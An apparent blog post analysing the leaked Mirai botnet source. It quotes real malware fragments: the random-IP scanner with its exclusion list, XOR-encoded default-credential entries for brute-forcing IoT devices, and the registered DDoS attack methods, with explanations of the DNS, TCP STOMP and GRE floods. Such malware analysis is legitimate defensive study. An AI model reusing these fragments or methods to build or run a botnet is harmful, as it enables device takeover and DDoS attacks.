From mirai sources

As you might know, recent huge DDoS attacks (665 Gbit/s) were organized with the help of Mirai malware. Here are some insights into its source code.

Intro

Short overview:

• Written mainly in C, but some scripts are in golang
• Loader, payload (bot) and CNC itself can be found in sources
• IPv6 not supported :( 

Russian trace
This is funny, but in admin.go file there are some Russian sentences:

admin.go: this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
admin.go: this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
admin.go: this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
admin.go: this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
admin.go: this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))

How did this happen? All other comments and output info are in English.

Random scan

Mirai authors implemented its own scanning technique, that is very fast, but interesting thing, that it picks IP addresses randomly:

static ipv4_t get_random_ip(void)
{
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;

    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast 
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
}

Nice touch skipping GE, HP, US Post and DoD ;)

Weak and default passwords

Bot brutes weak and default passwords. There are only 63 credentials in there, all like:

add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888

Always change default passwords.

Attack methods

    add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
    add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
    add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
    add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);

    add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
    add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
    add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);

    add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
    add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);

    //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
    add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);

What's interesting in attacks:

attack_udp_vse 

Attack for Valve game servers?

• Default payload: TSource Engine Query
• Default dport: 27015

attack_udp_dns

Not default amplification attack, but attack aimed to authoritative DNS servers of the targeted company. Infected IoT sends the requests to resolve random_string.target.com to ISP service provider, which forwards the request to authoritative server. IoT generates tons of these requests. 

attack_tcp_stomp

This time of attack should bypass mitigation devices. IoT device establishes the TCP connection to target and then sends ACK packets with correct sequence numbers. This keeps the connection alive. Pretty interesting, but should not normally work.

attack_gre_ip & attack_gre_eth

Two attacks with Generic Routing Encapsulation, with and without Ethernet encapsulation. GRE is a good choice, 'cause many routers bypass it without inspection.

That would be all for today. Be paranoid.